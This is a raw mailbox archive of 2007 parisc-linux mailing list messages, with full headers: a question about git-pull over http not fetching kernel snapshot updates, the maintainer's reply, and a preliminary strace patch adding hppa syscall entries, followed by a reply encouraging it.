URL git://git.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.gi=
t 
 http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git =

[snip]

At home I can use git protocol and there is any pb to update my local tre=
e
with 'git-pull'

But at the office I can just use http protocol.
Here even thought I grab an initial tree with:
git-clone \
http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git \=

linux-2.6-snaps.git

some weeks ago, each time I try to update this local tree:
# git-pull  2>&1 | tee -a /var/logs/KyleSnapsGit26.log
Fetching refs/heads/master from
http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git u=
sing http
Already up-to-date.

While I'm sure there was updates.

Is there some known issue I missed about http protocol usage?

Tx,
    J.=0A---=0APack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EU=
R 29,95...=0Ahttp://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Git snaps pb with http?
Date: Thu, 9 Aug 2007 11:36:34 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20070809153634.GB27558__48066.3017057397$1416624427$gmane$org@fattire.cabal.ca>
References: <JMHYQ5$03DE026105C7E3C6CB3C89BC19507D54@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624427 24906 80.91.229.3 (22 Nov 2014 02:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <tsg45800@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2007 15:36:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 09 Aug 2007 17:36:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA6DA7DC74;
	Thu,  9 Aug 2007 09:36:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01890-01; Thu, 9 Aug 2007 09:36:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5B517DC4D;
	Thu,  9 Aug 2007 09:36:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DC267DC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Aug 2007 09:36:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01387-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Aug 2007 09:36:36 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id A8FA17DC22
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Aug 2007 09:36:36 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B9B035840B3;
	Thu,  9 Aug 2007 11:36:35 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3C51B5840B0;
	Thu,  9 Aug 2007 11:36:35 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CB75A23E06; Thu,  9 Aug 2007 11:36:34 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <JMHYQ5$03DE026105C7E3C6CB3C89BC19507D54@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /FDTC48KbHIzb63NNjQ0DvwqJihyalA9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24760

On Thu, Aug 09, 2007 at 10:10:53AM +0200, Joel Soete wrote:
> But at the office I can just use http protocol.
> Here even thought I grab an initial tree with:
> git-clone \
> http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git \
> linux-2.6-snaps.git
> 
> some weeks ago, each time I try to update this local tree:
> # git-pull  2>&1 | tee -a /var/logs/KyleSnapsGit26.log
> Fetching refs/heads/master from
> http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git using http
> Already up-to-date.
> 
> While I'm sure there was updates.
> 

Oh. It's autogenerated with a cronjob, possibly I should be running
git-update-server-info too.

btw, sorry all, I have been having severe motivation problems to do
anything these days...

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <tsg45800@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Git snaps pb with http?
Date: Thu,  9 Aug 2007 10:10:53 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <JMHYQ5$03DE026105C7E3C6CB3C89BC19507D54__26943.8614872799$1416624427$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624427 24911 80.91.229.3 (22 Nov 2014 02:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2007 15:37:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 11 Aug 2007 17:37:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 31E6D7DD0A;
	Sat, 11 Aug 2007 09:36:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14473-03; Sat, 11 Aug 2007 09:36:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 091C77DCE0;
	Sat, 11 Aug 2007 09:36:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C05D97DC1B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Aug 2007 02:10:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28947-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Aug 2007 02:10:57 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 893B87DC18
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Aug 2007 02:10:56 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id l798ArS32581;
	Thu, 9 Aug 2007 10:10:53 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sat, 11 Aug 2007 09:35:56 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xLvWLvBTTlIuYLeQeGhriqlGU2poZdmL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24761

Hello Kyle,

Some time ago, I discover your interesting snapshot tree:
<http://git.kernel.org/?p=3Dlinux/kernel/git/kyle/linux-2.6-snaps.git;a=3D=
summary>

Saying today:
[snip]
description: Daily git snapshots of Linus' tree 
owner: Kyle McMartin 
last change: Tue, 7 Aug 2007 01:31:43 +0000 
URL git://git.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.gi=
t 
 http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git =

[snip]

At home I can use git protocol and there is any pb to update my local tre=
e
with 'git-pull'

But at the office I can just use http protocol.
Here even thought I grab an initial tree with:
git-clone \
http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git \=

linux-2.6-snaps.git

some weeks ago, each time I try to update this local tree:
# git-pull  2>&1 | tee -a /var/logs/KyleSnapsGit26.log
Fetching refs/heads/master from
http://www.kernel.org/pub/scm/linux/kernel/git/kyle/linux-2.6-snaps.git u=
sing http
Already up-to-date.

While I'm sure there was updates.

Is there some known issue I missed about http protocol usage?

Tx,
    J.=0A---=0APack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EU=
R 29,95...=0Ahttp://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] preliminary strace patch
Date: Sun, 12 Aug 2007 23:25:07 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <200708122325.07259.deller__988.725611432706$1416624427$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624427 24913 80.91.229.3 (22 Nov 2014 02:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:07 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2007 21:25:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 12 Aug 2007 23:25:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDA567DD01;
	Sun, 12 Aug 2007 15:25:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22100-09; Sun, 12 Aug 2007 15:25:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74DA47DCED;
	Sun, 12 Aug 2007 15:25:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E9C07DCEB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Aug 2007 15:25:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22100-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Aug 2007 15:25:10 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 5113F7DCE4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Aug 2007 15:25:10 -0600 (MDT)
Original-Received: (qmail invoked by alias); 12 Aug 2007 21:25:08 -0000
Original-Received: from mnhm-590c077f.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.7.127]
	by mail.gmx.net (mp038) with SMTP; 12 Aug 2007 23:25:08 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oBPaB9NyfW4pfuWveGVoaxlmdmllcoXI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24762

I noticed, that strace was pretty much useless/broken, if you use shared memory/ipc calls or the stat64() syscall.

Example:
root@c3000:~# strace df -h / 
[....]
write(1, "Filesystem            Size  Used"..., 55Filesystem            Size  Used Avail Use% Mounted on
) = 55
upeek: ptrace(PTRACE_PEEKUSER,29538,4294967292,0): Input/output error

Below is a patch against strace-4.5.15 source package from sourceforge.
Maybe it's useful to some people here, although it's not cleaned up/correct at all yet.
Feedback/corrections (esp. for the new syscalls >= 295) are welcome, because I only focused on statfs64()/fstatfs64() at this moment.

Helge

--- ./linux/hppa/syscallent.h.org	2006-10-16 03:17:52.000000000 +0200
+++ ./linux/hppa/syscallent.h	2007-08-12 22:47:26.000000000 +0200
@@ -64,7 +64,7 @@
 	{ 4,	TN,	sys_socketpair,		"socketpair"		}, /* 56 */
 	{ 2,	0,	sys_setpgid,		"setpgid"		}, /* 57 */
 	{ 4,	TN,	sys_send,		"send"			}, /* 58 */
-	{ 1,	0,	sys_uname,		"newuname"			}, /* 59 */
+	{ 1,	0,	sys_uname,		"newuname"		}, /* 59 */
 	{ 1,	0,	sys_umask,		"umask"			}, /* 60 */
 	{ 1,	TF,	sys_chroot,		"chroot"		}, /* 61 */
 	{ 2,	0,	sys_ustat,		"ustat"			}, /* 62 */
@@ -222,7 +222,7 @@
 	{ 5,	0,	printargs,		"get_thread_area"	}, /* 214 */
 	{ 2,	0,	sys_io_setup,		"io_setup"		}, /* 215 */
 	{ 1,	0,	sys_io_destroy,		"io_destroy"		}, /* 216 */
-	{ 5,	0,	sys_io_getevents,		"io_getevents"		}, /* 217 */
+	{ 5,	0,	sys_io_getevents,	"io_getevents"		}, /* 217 */
 	{ 3,	0,	sys_io_submit,		"io_submit"		}, /* 218 */
 	{ 4,	0,	sys_io_cancel,		"io_cancel"		}, /* 219 */
 	{ 5,	0,	printargs,		"alloc_hugepages"	}, /* 220 */
@@ -233,11 +233,11 @@
 	{ 4,	TD,	sys_epoll_ctl,		"epoll_ctl"		}, /* 225 */
 	{ 4,	TD,	sys_epoll_wait,		"epoll_wait"		}, /* 226 */
 	{ 5,	0,	printargs,		"remap_file_pages"	}, /* 227 */
-       { 5,    TI,     sys_semtimedop,         "semtimedop"            }, /* 228 */
+	{ 5,    TI,     sys_semtimedop,         "semtimedop"		}, /* 228 */
 	{ 5,	0,	printargs,		"mq_open"		}, /* 229 */
 	{ 5,	0,	printargs,		"mq_unlink"		}, /* 230 */
 	{ 5,	0,	printargs,		"mq_timedsend"		}, /* 231 */
-	{ 5,	0,	printargs,		"mq_timedreceive"		}, /* 232 */
+	{ 5,	0,	printargs,		"mq_timedreceive"	}, /* 232 */
 	{ 5,	0,	printargs,		"mq_notify"		}, /* 233 */
 	{ 5,	0,	printargs,		"mq_getsetattr"		}, /* 234 */
 	{ 4,	0,	printargs,		"waitid"		}, /* 235 */
@@ -300,3 +300,13 @@
 	{ 4,	TD,	printargs,		"sync_file_range"	}, /* 292 */
 	{ 4,	TD,	printargs,		"tee"			}, /* 293 */
 	{ 4,	TD,	printargs,		"vmsplice"		}, /* 294 */
+	{ 4,	0,	printargs,		"move_pages"		}, /* 295 */
+	{ 4,	0,	printargs,		"getcpu"		}, /* 296 */
+	{ 4,	TD,	printargs,		"epoll_pwait"		}, /* 297 */
+	{ 3,	TF,	sys_statfs64,		"statfs64"		}, /* 298 */
+	{ 3,	TD,	sys_fstatfs64,		"fstatfs64"		}, /* 299 */
+	{ 5,	TP,	printargs,		"kexec_load"		}, /* 300 */
+	{ 5,	0,	printargs,		"utimensat"		}, /* 301 */
+	{ 5,	TD,	printargs,		"signalfd"		}, /* 302 */
+	{ 5,	TD,	printargs,		"timerfd"		}, /* 303 */
+	{ 5,	TD,	printargs,		"eventfd"		}, /* 304 */
--- ./ipc.c.org	2007-01-15 21:25:52.000000000 +0100
+++ ./ipc.c	2007-08-12 22:46:43.000000000 +0200
@@ -387,7 +387,7 @@
 		}
 		if (syserror(tcp))
 			return 0;
-#ifdef LINUX
+#if 0 && defined LINUX
 		if (umove(tcp, tcp->u_arg[2], &raddr) < 0)
 			return RVAL_NONE;
 		tcp->u_rval = raddr;

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] preliminary strace patch
Date: Tue, 14 Aug 2007 09:46:09 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440708140646m496a74f0r9d3425ccc3e4df30__30419.4734817886$1416624427$gmane$org@mail.gmail.com>
References: <200708122325.07259.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624427 24916 80.91.229.3 (22 Nov 2014 02:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <patofiero@gmail.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Aug 2007 13:46:09 -0000
Original-Received: from rv-out-0910.google.com (EHLO rv-out-0910.google.com) [209.85.198.189]
  by mx0.gmx.net (mx093) with SMTP; 14 Aug 2007 15:46:09 +0200
Original-Received: by rv-out-0910.google.com with SMTP id c27so1453502rvf
        for <deller@gmx.de>; Tue, 14 Aug 2007 06:46:09 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=HtB+hORapkJN4AsbXtxmGTDyRJ9Uv/0TFGypidwGRVPOtT7AEwQVjDLytlnHJoncfQgUg301NEf38FEgKif4kE+0GA9qZCCYlUd+gfL6fh4mriDAQ/65o8maSHF2hpcXBtCAX5M7jtN7GM9p0yk7AtpbSVMbUny21xdWE1pr3j0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=O0bicloFvzaQ7wOPrlrbp5f2Qtq8ZA6FnF22VyMCKL4SiHUI6DEvaCUJfAVQ4tOoMujZ0VdYdhg2QWKOm1mnBSpZoPx/00vfyp8X3mJwo8i7iLCUWVOOMAFtAl+0VqjdUB0CcHrabosF0vtV18VmaquTJjWqWXStKWy+r3qyTDM=
Original-Received: by 10.140.136.6 with SMTP id j6mr230288rvd.1187099169107;
        Tue, 14 Aug 2007 06:46:09 -0700 (PDT)
Original-Received: by 10.141.85.1 with HTTP; Tue, 14 Aug 2007 06:46:09 -0700 (PDT)
Original-Sender: patofiero@gmail.com
In-Reply-To: <200708122325.07259.deller@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: 88198587672832e4
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 1 (Sender is in blacklist: carlos@systemhalted.org)
X-GMX-UID: GoX0chhsTiEscKyUaGRwuO51ZUVSRNdT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24763

On 8/12/07, Helge Deller <deller@gmx.de> wrote:
> I noticed, that strace was pretty much useless/broken, if you use shared memory/ipc calls or the stat64() syscall.
>
> Example:
> root@c3000:~# strace df -h /
> [....]
> write(1, "Filesystem            Size  Used"..., 55Filesystem            Size  Used Avail Use% Mounted on
> ) = 55
> upeek: ptrace(PTRACE_PEEKUSER,29538,4294967292,0): Input/output error
>
> Below is a patch against strace-4.5.15 source package from sourceforge.
> Maybe it's useful to some people here, although it's not cleaned up/correct at all yet.
> Feedback/corrections (esp. for the new syscalls >= 295) are welcome, because I only focused on statfs64()/fstatfs64() at this moment.

Helge,

That's awesome! Please send it upstream, even it they ignore you,
atleast the patch will appear in the archives. I'm sure debian would
take a half-clean patch against strace as long as it only effected
hppa.

Cheers,
Carlos.



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] preliminary strace patch
Date: Tue, 14 Aug 2007 23:01:34 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <200708142301.34895.deller__32003.9670951248$1416624428$gmane$org@gmx.de>
References: <200708122325.07259.deller@gmx.de>
	<119aab440708140646m496a74f0r9d3425ccc3e4df30@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624428 24918 80.91.229.3 (22 Nov 2014 02:47:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:08 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Aug 2007 21:01:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 14 Aug 2007 23:01:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B8BC7DCB8;
	Tue, 14 Aug 2007 15:01:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03706-07; Tue, 14 Aug 2007 15:01:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1A377DC98;
	Tue, 14 Aug 2007 15:01:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 462857DC8F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Aug 2007 15:01:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
